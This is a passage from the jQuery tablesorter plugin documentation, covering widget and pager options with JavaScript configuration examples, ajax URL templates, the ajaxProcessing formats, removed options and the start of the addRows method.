<select> <option value=""></option> <option value="en">English</option> <option value="fr">French</option> <option value="de">German</option> </select> This also works for the filter_functions $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions: { filter_functions: { // Add these options to the select dropdown (regex example) 1 : { "<10|Less than 10" : function(e, n, f, i, $r, c, data) { return n < 10; }, "10 - 100|Between 10 & 100" : function(e, n, f, i, $r, c, data) { return n >= 10 && n <=100; }, ">100|Greater than 100" : function(e, n, f, i, $r, c, data) { return n > 100; } } }, // filter_selectSource array text left of the separator is added to the option value, right into the option text filter_selectSourceSeparator : '|' } }); }); Results in this HTML (this adds a data-function-name attribute to keep a reference to the associated filter_functions. <select> <option value=""></option> <option data-function-name="&lt;10|Less than 10" value="&lt;10">Less than 10</option> <option data-function-name="10 - 100|Between 10 &amp; 100" value="10 - 100">Between 10 & 100</option> <option data-function-name="&gt;100|Greater than 100" value="&gt;100">Greater than 100</option> </select> Boolean false Filter widget: Set this option to true if filtering is performed on the server-side (v2.5.3). Use the filter_serversideFiltering option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_serversideFiltering : true } }); }); Boolean false Filter widget: Set this option to true to use the filter to find text from the start of the column, so typing in "a" will find "albert" but not "frank", both have a's. (v2.1). Use the filter_startsWith option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_startsWith : true } }); }); Example Boolean false Filter widget: If true, ALL filter searches will only use parsed data (v2.4). Use the filter_useParsedData option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_useParsedData : false } }); }); • To only use parsed data in specific columns, set this option to false and use any of the following (they all do the same thing), set in order of priority: • jQuery data data-filter="parsed". • metadata class="{ filter: 'parsed'}". This requires the metadata plugin. • headers option headers : { 0 : { filter : 'parsed' } }. • header class name class="filter-parsed". • Remember that parsed data most likely doesn't match the actual table cell text, 20% becomes 20 and Jan 1, 2013 12:01 AM becomes 1357020060000. String "data-value" Filter widget: This option contains the name of the data-attribute which contains the default (starting) filter value (v2.10.8). Use the filter_defaultAttrib option as follows: $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_defaultAttrib : 'data-value' } }); }); Then add the default filter value to the table header as follows: <th data-value="<30">Age</th> Example String "" Sticky Headers widget: This additional CSS class applied to the sticky header row (v2.11). Changed to empty string in v2.11, as the "tablesorter-stickyHeader" class will always be added to the sticky header row; this option now contains any additional class names to add. Previously, this option contained the class name to be applied to the sticky header row (tr) (v2.1). Use the "stickyHeaders" option to add an extra css class name as follows: $(function(){ $("table").tablesorter({ widgets: ["stickyHeaders"], widgetOptions : { // css class name applied to the sticky header stickyHeaders : "tablesorter-stickyHeader" } }); }); Example String "-sticky" Sticky Headers widget: If the table has an ID defined, the suffix from this option will be added to the ID in the cloned sticky table (v2.9). So if your table ID is "gummy", then the cloned sticky table id becomes "gummy-sticky" Use the "stickyHeaders_cloneId" option to change the cloned table id as follows: $(function(){ $("table").tablesorter({ widgets: ["stickyHeaders"], widgetOptions : { // cloned table id suffix stickyHeaders_cloneId : "-clone" } }); }); Boolean true Sticky Headers widget: If this option is false and a caption exists, it will not be included in the sticky header (v2.10.8). Use the stickyHeaders_includeCaption option as follows: $(function(){ $("table").tablesorter({ widgets: ["stickyHeaders"], widgetOptions : { // cloned table id suffix stickyHeaders_includeCaption : false } }); }); Example String null Sticky Headers widget: points to the table wrapper to stick the headers to while scrolling. Use this option to point to their needs (v2.14.4). Use the stickyHeaders_attachTo option as follows: $(function(){ $("table").tablesorter({ widgets: ["stickyHeaders"], widgetOptions : { // Where to attach the stickyHeaders stickyHeaders_attachTo : '.wrapper' // $('.wrapper') jQuery object can also be used } }); }); Example String null Sticky Headers widget: points to the element in which to monitor for horizontal scrolling (v2.18.0). If undefined (or null), the window element will be monitored. Use the stickyHeaders_xScroll option as follows: $(function(){ $("table").tablesorter({ widgets: ["stickyHeaders"], widgetOptions : { // jQuery selector or object to monitor horizontal scroll position (defaults: xScroll > attachTo > window) stickyHeaders_xScroll : '.wrapper' // $('.wrapper') jQuery object can also be used } }); }); Example String null Sticky Headers widget: points to the element in which to monitor for vertical scrolling (v2.18.0). If undefined (or null), the window element will be monitored. Use the stickyHeaders_yScroll option as follows: $(function(){ $("table").tablesorter({ widgets: ["stickyHeaders"], widgetOptions : { // jQuery selector or object to monitor vertical scroll position (defaults: yScroll > attachTo > window) stickyHeaders_yScroll : '.wrapper' // $('.wrapper') jQuery object can also be used } }); }); Example Multiple 0 Sticky Headers widget: Set the sticky header offset from the top as a Number or jQuery selector string or object (v2.10). If the page includes a fixed navigation bar at the top, like Bootstrap, set "stickyHeaders_offset" option to offset the sticky table header to be below the fixed navigation by setting this option using any of the following examples: $(function(){ $("table").tablesorter({ widgets: ["stickyHeaders"], widgetOptions : { // apply sticky header top 30px below the top of the browser window stickyHeaders_offset : 30 } }); }); or stickyHeaders_offset : '.navbar-fixed-top' // jQuery selector string or stickyHeaders_offset : $('.navbar-fixed-top') // jQuery object Boolean true Sticky Headers widget: Scroll table top into view after filtering (v2.16.2). When a user searches the table using the sticky header filter row the results may reduce the number of rows so that the table would scroll up out of the viewport. So, this option scrolls the table top into view and moves the filter focus to the same input in the original header, instead of the sticky header input. Set this option to false to prevent the page scroll after filtering the table. Boolean true Sticky Headers widget: If true, sticky table headers will resize automatically when content is added to or removed from the table headers (v2.10). While this option is true, a timer is initialized to check the width of every header cell every 1/4 second. If this causes lag, or any other problems, set this option to false. When this option is false, sticky table headers are unable to detect and match the width of the original table headers when content is added or removed. Use the "stickyHeaders_addResizeEvent" option as follows: $(function(){ $("table").tablesorter({ widgets: ["resizable"], widgetOptions : { // add header resize detection stickyHeaders_addResizeEvent : true } }); }); When the browser window is resized, the headers (original and sticky) will resize automatically no matter the value of this option. Numeric 2 Sticky Headers widget: The zIndex added to the stickyHeaders. This option allows the user to adjust the value to their needs (v2.11). Use the stickyHeaders_zIndex option as follows: $(function(){ $("table").tablesorter({ widgets: ["stickyHeaders"], widgetOptions : { // The zIndex of the stickyHeaders, allows the user to adjust this to their needs stickyHeaders_zIndex : 100 } }); }); Boolean true Resizable widget: If this option is set to false, resized column widths will not be saved. Previous saved values will be restored on page reload (v2.4). Use the "resizable" option to not save the resized widths: $(function(){ $("table").tablesorter({ widgets: ["resizable"], widgetOptions : { // css class name applied to the sticky header resizable : false } }); }); Example Boolean false Resizable widget: If this option is set to true, a resizing anchor will be included in the last column of the table (v2.8.3). If an anchor was included and the table is full width, the column would resize in the opposite direction which my not be intuitive to the user. So set this option as desired, but please be mindful of the user experience. Use the "resizable_addLastColumn" option to include the last column resizer as follows: $(function(){ $("table").tablesorter({ widgets: ["resizable"], widgetOptions : { // css class name applied to the sticky header resizable_addlastcolumn : true } }); }); Example Array [] Resizable widget: Set this option to the starting & reset header widths (v2.15.12). Use the "resizable_widths" option as follows: $(function(){ $("table").tablesorter({ widgets: ["resizable"], widgetOptions : { // headers widths applied at initialization & resizable reset // this setting includes any non-resizable cells (resizable-false) resizable_widths : [ '10%', '10%', '50px' ] } }); }); Example Boolean false Resizable widget: Set this option to throttle the resizable events (v2.17.4). When false throttling of the mousemove (resizing) event is not applied. Set this option to either true for a default 5 millisecond delay, or set it to any number less than 10 to adjust the throttling delay that is applied to the mousemove/resizing event. Use the "resizable_throttle" option as follows: $(function(){ $("table").tablesorter({ widgets: ["resizable"], widgetOptions : { // set to true for a default 5ms throttling delay // or set to a number < 10 (more than that makes the resizing adjustment unusable resizable_throttle : true } }); }); Boolean false Resizable widget: When true, the last column will be targeted for resizing (v2.21.3). When true, resizing a column will change the size of the selected column, and the last column, not the selected column's neighbor. When false, resizing a column will move the column border between it's neighbors. Also, in a full width table, if this option is false, the same behavior as when this option is true can be seen when resizing a column while holding down the Shift key on the keyboard - the last column is resized. Boolean true SaveSort widget: If this option is set to false, new sorts will not be saved. Any previous saved sort will be restored on page reload (v2.4). Use the "saveSort" option to not save the current sort: $(function(){ $("table").tablesorter({ widgets: ["saveSort"], widgetOptions : { // if false, the sort will not be saved for next page reload saveSort : false } }); }); Example Boolean false Storage widget: If this option is set to false, all saved variables for the table will be within local storage (v2.21.3). If true, all saved variables for the table will be within the session storage. This means once the user closes the browser, all saved variables are lost. Use the "storage_useSessionStorage" option to switch to session storage as follows: $(function(){ $("table").tablesorter({ widgets: ["saveSort"], widgetOptions : { // if false, saved variables will be saved in local storage storage_useSessionStorage : true } }); }); Example String "" Storage widget: This option allows setting an alternate table id so multiple tables on a page have the settings grouped together When grouping together multiple tables, setting the variable on one table will not cause the setting to modify a second table, the change will only be apparent on page reload. If this option is not defined, the actual table id will be used (which isn't conducive to applying to multiple tables!) A more detailed list of the table id priority settings can be found in the $.tablesorter.storage function description. String "" Storage widget: Set a table (data) attribute to use to obtain a table id, which allows grouping multiple tables on one page together - they share a common saved setting. If a value is set in this option, the storage widget looks in that defined table data-attribute for a table id. If this option is not defined, then the default data-attribute for the table becomes "data-table-group". The value in the data-attribute sets a table id, if not found, the storage widget then looks for an id in the storage_tableId option. String "" Storage widget: This option allows setting an alternate table url so that tables on multiple pages will have their settings grouped together This option replaces and will override the now deprecated config.fixedUrl option. If there is a value within the table's "data-table-page" (set by the storage_page option), it will override this setting. A more detailed list of the table url priority settings can be found in the $.tablesorter.storage function description. String "" Storage widget: Set a table (data) attribute to use to obtain a table url, which allows grouping tables across multiple pages together - they share a common saved setting. If a value is set in this option, the storage widget looks in that defined table data-attribute for a table url. If this option is not defined, then the default data-attribute for the table becomes "data-table-page". The value in the data-attribute sets a table url, if not found, the storage widget then looks for a url in the storage_fixedUrl option. Array [ "even", "odd" ] Zebra widget: When the zebra striping widget is initialized, it automatically applied the default class names of "even" and "odd". (Modified v2.1). Use the "zebra" option to change the theme as follows: $(function(){ $("table").tablesorter({ widgets: ["zebra"], // initialize zebra striping of the table widgetOptions: { zebra: [ "normal-row", "alt-row" ] } }); }); Example Pager Object null Target your one or more pager markup blocks by setting this option with a jQuery selector. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_selectors.container; additionally you can change the class name that is applied to the pager (used within the jquery.tablesorter.pager.css file) by modifying the widgetOption.pager_css.container class name (default is "tablesorter-pager") This is some example pager markup. It should contain all of the controls set by the multiple css-named options: <div class="pager"> <form> <img src="first.png" class="first"/> <img src="prev.png" class="prev"/> <span class="pagedisplay"></span> <!-- this can be any element, including an input --> <img src="next.png" class="next"/> <img src="last.png" class="last"/> <select class="pagesize"> <option value="10">10</option> <option value="20">20</option> <option value="30">30</option> <option value="40">40</option> </select> <select class="gotoPage" title="Select page number"></select> </form> </div> Caution If you use buttons in your pager container, make sure the buttons include a button type (<button type="button">Next</button>) to prevent form submission and page reloading every time the button is clicked. Use this option as follows: $(function(){ $("table") .tablesorter() .tablesorterPager({ container: $(".pager") }); }); }); Example String null Set this option to include a url template to use so that the pager plugin can interact with your database (v2.1; v2.9). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_ajaxUrl The tags within the ajaxUrl string are optional. If do not want the user to change the page size, then you only need to include the page in this string: ajaxUrl: "http://mydatabase.com?start={page}" If you need to send your server a page offset (actual starting record number), then you'll need to use the customAjaxUrl option. Here is an example of how to include the option, it should always be paired with an ajaxProcessing function: $(function(){ $("table") .tablesorter() .tablesorterPager({ ajaxUrl: "http://mydatabase.com?page={page}&size={size}&{sortList:col}&{filterList:fcol}", ajaxProcessing: function(data, table, xhr){ // do something with the ajax data return [ formatted_data, total_rows ]; } }); }); The ajaxUrl template replaces the following tags with values from the tablesorter plugin and pager addon: TagReplaced with {page}Zero-based index of the current pager page {page+1}One-based index of the current pager page (replace "+1" with any number) (e.g. {page+3}) (v2.9). {size}Number of rows showing, or number of rows to get from the server {sortList:col} or {sort:col} Adds the current sort to the ajax url string into a "col" array, so your server-side code knows how to sort the data (v2.4.5). The col portion of the {sortList:col} tag can be any name string (no spaces) to indicate the name of the variable to apply. So if your current sortList is [[2,0],[3,0]], it becomes "&sort[2]=0&sort[3]=0" in the url. {sort:col} shortened tag also works (v2.9). {filterList:fcol} or {filter:fcol} Adds the value of the current filters to the ajax url string into a "fcol" array, so your server-side code knows how to filter the data (v2.6). The fcol portion of the {filterList:fcol} tag can be any name string (no spaces) to indicate the name of the variable to apply. So if your current filters are ['','Blue',13], it becomes "&fcol[2]=Blue&fcol[3]=13" in the url. {filter:col} shortened tag also works (v2.9). Example Function function(table, url) { return url; } This callback function allows you to modify the processed URL as desired (v2.8.1). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_customAjaxUrl The customAjaxUrl function has two parameters, the table DOM element and the processed url string (all tags within the ajaxUrl have been replaced with their appropriate values). $(function(){ $("table") .tablesorter() .tablesorterPager({ ajaxUrl: "http://mydatabase.com?page={page}&size={size}&{sortList:col}&{filterList:fcol}", ajaxProcessing: function(data, table, xhr){ // do something with the ajax data return [ formatted_data, total_rows ]; }, // modify the url after all processing has been applied customAjaxUrl: function(table, url) { // trigger my custom event $(table).trigger('changingUrl'); // send the server the current page return url += '&currntUrl=' + window.location.href; } }); }); In the following example, lets say your server needs a starting and ending record number instead of a page & size parameter. Use this option as follows: $(function(){ $("table") .tablesorter() .tablesorterPager({ ajaxUrl: "http://mydatabase.com?{sortList:col}", customAjaxUrl: function(table, url) { var pager = table.config.pager, start = pager.page * pager.size, end = start + pager.size; return url += '&start=' + start + '&end=' + end; }, ajaxProcessing: function(data, table, xhr){ // do something with the ajax data return [ total_rows, data ]; } }); }); Example Object { dataType: 'json' } This option contains the ajax settings for the pager interaction with your database (v2.10). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_ajaxObject The ajaxObject is completely customizable, except for the url setting which is processed using the pager's ajaxUrl and customAjaxUrl options. This means you can also add a success callback function which is called after the ajax has rendered. Your server does not need to return a JSON format, if you want to return pure HTML, set the dataType to "html" and modify the ajaxProcessing function to instead work with HTML; then return a jQuery object or apply the HTML to the table yourself. See all possible settings in the jQuery.ajax documentation $(function(){ $("table") .tablesorter() .tablesorterPager({ ajaxUrl: "http://mydatabase.com?page={page}&size={size}&{sortList:col}&{filterList:fcol}", ajaxObject: { // add more ajax settings here // see http://api.jquery.com/jQuery.ajax/#jQuery-ajax-settings dataType: 'json' }, ajaxProcessing: function(data, table, xhr){ // do something with the ajax data; return [ total_rows ]; } }); }); Example Function null This callback allows you to customize the error message displayed in the thead (v2.23.0; v2.23.1). In v2.23.1 • A settings parameter was added before the exception parameter to exactly match the parameters returned by the jQuery .ajaxError() method. • This function is now always called, even if the $.tablesorter.showError function is called by an external function with only a string. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_ajaxError When there is an ajax error, the $.tablesorter.showError function is called. In v2.23.0, that function now checks this callback to allow adding a custom error message. Use it as follows: $(function(){ $("table") .tablesorter() .tablesorterPager({ ajaxError: function( config, xhr, settings, exception ) { // returning false will abort the error message // the code below is the default behavior when this callback is set to `null` return xhr.status === 0 ? 'Not connected, verify Network' : xhr.status === 404 ? 'Requested page not found [404]' : xhr.status === 500 ? 'Internal Server Error [500]' : exception === 'parsererror' ? 'Requested JSON parse failed' : exception === 'timeout' ? 'Time out error' : exception === 'abort' ? 'Ajax Request aborted' : 'Uncaught error: ' + xhr.statusText + ' [' + xhr.status + ']' ); } }); }); Boolean true Set this option to false if your table data is preloaded into the table, but you are still using ajax (v2.14.5). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_processAjaxOnInit Function null This function is required to return the ajax data obtained from your server into a useable format for tablesorter to apply to the table (v2.1, v2.17.3). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_ajaxProcessing This function was created and modified to allow you a great deal of flexibility. The only required information that this function needs to return is an array containing the total number of rows, which is needed to calculate total pages. There are numerous examples below. Choosing which one to use is left to you. For more information, please check out related questions on Stackoverflow, in particular see this thread about how to use the different ajax options together. In v2.10, the returned rows is now optional. And it can either be an array of arrays or a jQuery object (not attached to the table) Process your ajax data so that the following information is returned: Object After tablesorter v2.17.3, this function can include a filteredRows property which will update the internal value and thus show a proper filtered row count, and update the "goto" page drop down selector appropriately. After tablesorter v2.11, the ajaxProcessing function can return an object containing these properties, along with any extra properties. These extra properties will be available for use within the pager output string (see more details in issue #326); So, lets say the data sent by the server looks like this: { "total_rows" : 100, "filtered_rows" : 75, "new_headers" : [ "ID", "Name", "Data", "Value" ], "data" : '<tr><td>a123</td><td>abc</td><td>xyz</td><td>999</td></tr>', "subject" : "cheese", "tasty" : "It's delicious!" } This ajaxProcessing function must return an object with "total", "headers" and "rows" properties! As before, "total" is the only required property; if the headers don't need to be changed, don't return a headers array, and if you append the rows to the table yourself within the ajaxProcessing function, you don't need to return a "rows" property. ajaxProcessing: function(result, table, xhr){ if (result && result.hasOwnProperty('data')) { // "total" is a required property! result.total = result["total_rows"]; // "filteredRows" is optional - in tablesorter v2.17.3, this updates the filter row count internally // and updates the "goto" page dropdown selector appropriately result.filteredRows = result["filtered_rows"]; // "headers" is optional. This is not needed if the table headers don't change result.headers = result["new_headers"]; // "rows" is optional. No need to return this if you process and add the rows to the table yourself // otherwise, return an array of arrays or jQuery object (shown in this example) result.rows = $(result.data); return result; } } Now in the output string, you can also reference the extra ajax data: output : '{startRow} to {endRow} of {filteredRows} ({totalRows}) rows about {subject} ({tasty})' Array (total only) After tablesorter v2.10, just build the table yourself and return the total number of rows: ajaxProcessing: function(data, table, xhr){ if (data && data.hasOwnProperty('rows')) { var r, row, c, d = data.rows, // total number of rows (required) total = data.total_rows, // all rows: array of arrays; each internal array has the table cell data for that row rows = '', // len should match pager set size (c.size) len = d.length; // this will depend on how the json is set up - see City0.json // rows for ( r=0; r < len; r++ ) { rows += '<tr class="ajax-row">'; // new row // cells for ( c in d[r] ) { if (typeof(c) === "string") { rows += '<td>' + d[r][c] + '</td>'; // add each table cell data to row } } rows += '</tr>'; // end new row } // find first sortable tbody, then add new rows table.config.$tbodies.eq(0).html(rows); // no need to trigger an update method, it's done internally return [ total ]; } } Array (rows as jQuery object) After tablesorter v2.10, return a jQuery object ajaxProcessing: function(data, table, xhr){ if (data && data.hasOwnProperty('rows')) { var r, row, c, d = data.rows, // total number of rows (required) total = data.total_rows, // array of header names (optional) headers = data.headers, // all rows: array of arrays; each internal array has the table cell data for that row rows = '', // len should match pager set size (c.size) len = d.length; // this will depend on how the json is set up - see City0.json // rows for ( r=0; r < len; r++ ) { rows += '<tr class="ajax-row">'; // new row // cells for ( c in d[r] ) { if (typeof(c) === "string") { rows += '<td>' + d[r][c] + '</td>'; // add each table cell data to row } } rows += '</tr>'; // end new row } // don't attach the $(rows) because it's difficult to tell old from new data // and no need to trigger an update method, it's done internally return [ total, $(rows), headers ]; } } Or, if your JSON contains all the rows within a string this method will work: ajaxProcessing: function(data, table, xhr){ if (data && data.hasOwnProperty('rows')) { // data.rows would look something like this // '<tr><td>r0c0</td><td>r0c1</td></tr><tr><td>r1c0</td><td>r1c1</td></tr>' return [ data.total, $(data.rows), data.headers ]; } } Array (rows as an array of arrays) After tablesorter v2.1, this function must return an array with values in any of the following orders: // [ total_rows (number), rows (array of arrays), headers (array; optional) ] // or [ rows, total_rows, headers ] // or [ total_rows, $(rows) ] // or [ total_rows ] [ 100, // total rows [ [ "row1cell1", "row1cell2", ... "row1cellN" ], [ "row2cell1", "row2cell2", ... "row2cellN" ], ... [ "rowNcell1", "rowNcell2", ... "rowNcellN" ] ], [ "header1", "header2", ... "headerN" ] // optional ] Note: In v2.14.3, the contents of the array can also contain table cell markup (i.e. "<td class='green'>+ 10%</td>"). Here is some example JSON (comments added, but not allowed in JSON) which is contained in the City0.json file: { // total rows "total_rows": 80, // headers "cols" : [ "ID", "Name", "Country Code", "District", "Population" ], // row data... "rows" : [{ "ID": 1, "Name": "Kabul", "CountryCode": "AFG", "District": "Kabol", "Population": 1780000 }, { // row 2, etc... }] } The above JSON is processed by the following code (this returns an array of array of table rows): $(function(){ $("table") .tablesorter() .tablesorterPager({ ajaxUrl: "http://mydatabase.com?page={page}&size={size}", ajaxProcessing: function(data, table, xhr){ if (data && data.hasOwnProperty('rows')) { var r, row, c, d = data.rows, // total number of rows (required) total = data.total_rows, // array of header names (optional) headers = data.cols, // all rows: array of arrays; each internal array has the table cell data for that row rows = [], // len should match pager set size (c.size) len = d.length; // this will depend on how the json is set up - see City0.json // rows for ( r = 0; r < len; r++ ) { row = []; // new row array // cells for ( c in d[r] ) { if (typeof(c) === "string") { row.push(d[r][c]); // add each table cell data to row array } } rows.push(row); // add new row array to rows array } return [ total, rows, headers ]; // or return [ rows, total, headers ] in v2.9+ } } }); }); Example String "{page}/{totalPages}" This option allows you to format the output display which can show the current page, total pages, filtered pages, current start and end rows, total rows and filtered rows (v2.0.9; v2.17.6). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_output This option replaced the original separator option, which only separated the page number from the total number of pages. The formatted output from this option is placed inside the information block targeted by the cssPageDisplay option. Use it as follows: $(function(){ $("table") .tablesorter() .tablesorterPager({ output: '{startRow} to {endRow} of {totalRows} rows' }); }); }); The following tags are replaced within the output string: TagReplaced with {page}The current pager page {page:input}The current pager page within an input (v2.17.6) {totalPages}Total number of pager pages {filteredPages}Total number of pages left after being filtered {startRow}Starting row number currently displayed {startRow:input}Starting row number currently displayed within an input (v2.17.6) {endRow}Ending row number currently displayed {filteredRows}Total number of rows left after being filtered {totalRows}Total number of rows 1 2 3 4 Boolean true If true, the addon hides the left pager arrow on the first page and right pager arrow on the last page. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_updateArrows If true the classname from the cssDisabled option is applied to the arrows when at either page extreme. Example Numeric 0 Set the starting page of the pager (zero-based index). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_startPage Example Numeric, Boolean 0 Reset pager to this page after filtering; set to desired page number (zero-based index), or false to not change page at filter start (v2.16). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_pageReset Numeric 10 Set initial number of visible rows. This value is changed by the dropdown selector targeted by the cssPageSize option. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_size Example Boolean true Saves the current pager page size and number. This option requires the $.tablesorter.storage script in the jquery.tablesorter.widgets.js file (v2.11). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_savePages Example String "tablesorter-pager" Saves tablesorter paging to custom key if defined. Key parameter name used by the $.tablesorter.storage function. Useful if you have multiple tables defined (v2.15) Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_storageKey Example Boolean false Maintain the height of the table even when fewer than the set number of records is shown (v2.1; updated 2.7.1). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_fixedHeight This option replaced the original positionFixed and offset options which set the absolute position of the pager block. If true, it should maintain the height of the table, even when viewing fewer than the set number of records (go to the last page of any demo to see this in action). It works by adding an empty row to make up the differences in height. Example Boolean false If true, child rows will be counted towards the pager set size (v2.13). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_countChildRows *CAUTION* When true, child row(s) may not appear to be attached to its parent row, may be split across pages or may distort the table if rowspan or cellspans are included within the child row. If this option is false, child row(s) will always appear on the same page as its parent. Boolean false If true, rows are removed from the table to speed up the sort of large tables (v2.0.21). Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_removeRows The original tablesorter plugin (v2.0.5) removed rows automatically, without providing an option. It really does speed up sorting of very large tables, but also breaks updating and modifying table content dynamically. If this option is false, the addon only hides the non-visible rows; this is useful if you plan to add/remove rows with the pager enabled. Example String ".first" This option contains a jQuery selector string pointing to the go to first page arrow. See container for full HTML. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_selectors.first Example String ".prev" This option contains a jQuery selector string pointing to the go to previous page arrow. See container for full HTML. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_selectors.prev Example String ".next" This option contains a jQuery selector string pointing to the go to next page arrow. See container for full HTML. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_selectors.next Example String ".last" This option contains a jQuery selector string pointing to the go to last page arrow. See container for full HTML. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_selectors.last Example String ".gotoPage" This option contains a jQuery selector string pointing to the page select dropdown. See container for full HTML (v2.4; v2.17.3) Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_selectors.gotoPage (changed from goto in v2.17.3) Please note that this select dropdown is initially empty and automatically updated by the plugin with the correct number of pages, which depends on the size setting. Example String ".pagedisplay" This option contains a jQuery selector string pointing to the output element (v2.0.9) Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_selectors.pageDisplay In the original tablesorter (v2.0.5) this option could only target an input, it was updated (v2.0.9) to display the formatted output from the output option inside of any element (span, div or input). Example String ".pagesize" This option contains a jQuery selector string pointing to the page size selector. See container for full HTML. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_selectors.pageSize Example String "tablesorter-errorRow" This option contains the class name that is applied to the error information row that is added inside the pager with any ajax exceptions. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_css.errorRow Note there is no period "." in front of this class name (it is not a selector). String "disabled" This option contains the class name that is applied to disabled pager controls. Note The pager widget equivalent option is within the widgetOptions and accessed via widgetOptions.pager_css.disabled More explicitly, this class is applied to the pager arrows when they are at either extreme of pages and the updateArrows option is true. When the pager has been disabled, this class is applied to all controls. Note there is no period "." in front of this class name (it is not a selector). Removed Options Boolean false Filter: This option was removed in v2.15... sorry for the sudden notice. This option has been replaced by the filter_external option. Show any rows that match a search query. If this option is true any column match will show that row; but there are limitations (v2.13.3). It is best if this filter_anyMatch option is used with a single search input as follows: <input class="search" type="search"> <button type="button" class="reset">Reset Search</button> $(function(){ $("table").tablesorter({ widgets: ["filter"], widgetOptions : { filter_anyMatch : true, filter_columnFilters: false, filter_reset: '.reset' } }); // Target the $('.search') input using built in functioning // this binds to the search using "search" and "keyup" // Allows using filter_liveSearch or delayed search & // pressing escape to cancel the search $.tablesorter.filter.bindSearch( $table, $('.search') ); }); String "jui" UiTheme: This option was removed in v2.19.0! It has been replaced by theme. This option contains the name of the theme. Currently jQuery UI ("jui") and Bootstrap ("bootstrap") themes are supported (updated v2.4) * NOTE * only the uitheme widget option was removed. All of the information below is still pertinent and portions have been copied to the core theme option. To modify the class names used, extend from the $.tablesorter.themes variable as follows: // Extend the themes to change any of the default class names ** NEW ** $.extend($.tablesorter.themes.jui, { // change default jQuery uitheme icons - find the full list of icons // here: http://jqueryui.com/themeroller/ (hover over them for their name) table : 'ui-widget ui-widget-content ui-corner-all', // table classes header : 'ui-widget-header ui-corner-all ui-state-default', // header classes footerRow : '', footerCells: '', icons : 'ui-icon', // icon class added to the <i> in the header sortNone : 'ui-icon-carat-2-n-s', sortAsc : 'ui-icon-carat-1-n', sortDesc : 'ui-icon-carat-1-s', active : 'ui-state-active', // applied when column is sorted hover : 'ui-state-hover', // hover class filterRow : '', even : 'ui-widget-content', // even row zebra striping odd : 'ui-state-default' // odd row zebra striping }); This widget option replaces the previous widgetUitheme. All theme css names are now contained within the $.tablesorter.themes variable. Extend the default theme as seen above. The class names from the $.tablesorter.themes.{name} variable are applied to the table as indicated. As before the jQuery UI theme applies the default class names of "ui-icon-arrowthick-2-n-s" for the unsorted column, "ui-icon-arrowthick-1-s" for the descending sort and "ui-icon-arrowthick-1-n" for the ascending sort. (Modified v2.1; Updated in v2.4). Find more jQuery UI class names by hovering over the Framework icons on this page: http://jqueryui.com/themeroller/ Use the "uitheme" option to change the css class name as follows: $(function(){ $("table").tablesorter({ theme : 'jui', // set theme name from $.tablesorter.themes here widgets : ["uitheme"], // initialize ui theme styling widget of the table widgetOptions: { uitheme : "jui" // this is now optional in v2.7, it is overridden by the theme option } }); }); To add a new theme, define it as follows; replace "custom" with the name of your theme: $.tablesorter.themes.custom = { table : 'table', // table classes header : 'header', // header classes footerRow : '', footerCells: '', icons : 'icon', // icon class added to the <i> in the header sortNone : 'sort-none', // unsorted header sortAsc : 'sort-asc', // ascending sorted header sortDesc : 'sort-desc', // descending sorted header active : 'sort-active', // applied when column is sorted hover : 'hover', // hover class filterRow : 'filters', // class added to the filter row even : 'even', // even row zebra striping odd : 'odd' // odd row zebra striping } Example Numeric 0 Pager: This option was removed! The original tablesorter pager plugin absolutely positioned the pager controls at the bottom of the table. It appears that this option was intended to tweak the position of the pager container. The option exists, but no code was found. Boolean true Pager: This option was removed! If this option were true, the original tablesorter pager plugin would absolutely position the pager controls at the bottom of the table. String "/" Pager: This option was removed! Use the output option to allow for more control over the formatting. The original tablesorter pager plugin would combine the current page with the calculated total number of pages within the cssPageDisplay with this separator string inbetween. Methods tablesorter has some methods available to allow updating, resorting or applying widgets to a table after it has been initialized. TIP! Click on the link in the method column to reveal full details (or toggle|show|hide all) or double click to update the browser location. Method Description Link Use this method to add table rows (v2.0.16; v2.23.0). Direct method: In v2.23.0, this method can be called directly as follows: var config = $( 'table' )[ 0 ].config, $rows = $( 'tr.addedRows' ), // jQuery selector of newly appended row(s) // applies or reapplies a sort to the table; use false to not update the sort resort = true, // or [ [0,0], [1,0] ] etc callback = function( table ) { // do something }; $.tablesorter.addRows( config, $rows, resort, callback ); Triggered event method: It does not work the same as "update" in that it only adds rows, it does not remove them. Also, use this method to add table rows while using the pager plugin. If the "update" method is used, only the visible table rows continue to exist. // Add multiple rows to the table var row = '<tr><td>Inigo</td><td>Montoya</td><td>34</td>' + '<td>$19.99</td><td>15%</td><td>Sep 25, 1987 12:00PM</td></tr>', $row = $( row ), // resort table using true to reapply the current sort; set to false to prevent resort // if undefined, the resort value will be obtained from config.resort (added v2.19.0) // As of v2.19.0, the resort variable can 